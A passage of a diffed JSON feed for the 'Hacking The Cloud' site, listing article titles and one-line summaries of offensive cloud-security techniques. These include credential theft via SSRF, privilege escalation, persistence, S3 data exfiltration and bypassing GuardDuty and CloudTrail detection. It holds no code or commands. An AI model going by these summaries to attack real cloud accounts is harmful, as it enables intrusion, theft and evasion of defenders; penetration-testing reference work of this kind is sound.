authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_published": "2022-03-19T16:57:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_published": "2022-03-17T14:35:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_published": "2022-03-13T23:45:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_published": "2022-03-05T04:00:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_published": "2022-02-27T22:50:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_published": "2022-02-09T04:00:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_published": "2022-01-30T10:32:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_published": "2021-12-23T21:59:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_published": "2021-11-30T05:00:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_published": "2021-11-04T21:03:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_published": "2021-10-24T17:41:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_published": "2021-09-16T15:02:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_published": "2021-07-14T20:46:17+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_published": "2021-05-18T19:13:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_published": "2021-04-13T02:53:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_published": "2021-04-03T01:39:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_published": "2021-02-20T04:07:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_published": "2021-02-06T17:17:59+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_published": "2020-12-20T18:58:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_published": "2020-09-27T16:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_published": "2020-08-21T17:00:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_published": "2020-08-12T23:15:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_published": "2020-08-05T14:32:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_published": "2020-08-01T17:43:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_published": "2020-07-30T23:28:52+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_published": "2020-07-27T19:47:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}]}
\ No newline at end of file
+{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_created.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "title": "Exploiting Public AWS Resources Programmatically - The Playbook", "content_html": "A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png", "date_published": "2024-12-05T17:37:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_published": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_published": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_published": "2024-09-01T22:46:15+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_published": "2024-07-31T20:37:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_published": "2024-07-30T00:15:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_published": "2024-07-14T21:08:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_published": "2024-05-28T16:27:11+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_published": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_published": "2024-01-29T03:39:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_published": "2024-01-21T17:59:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_published": "2024-01-07T21:28:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_published": "2023-12-20T14:50:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_published": "2023-12-20T01:25:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_published": "2023-12-07T10:12:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_published": "2023-11-20T00:54:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_published": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_published": "2023-08-01T01:58:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_published": "2023-07-13T03:46:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_published": "2023-02-20T16:48:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_published": "2023-02-10T15:12:48+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_published": "2023-01-26T01:02:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_published": "2022-12-14T03:27:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_published": "2022-12-05T02:08:42+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_published": "2022-11-05T00:02:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_published": "2022-10-13T01:37:41+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_published": "2022-09-18T21:18:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": 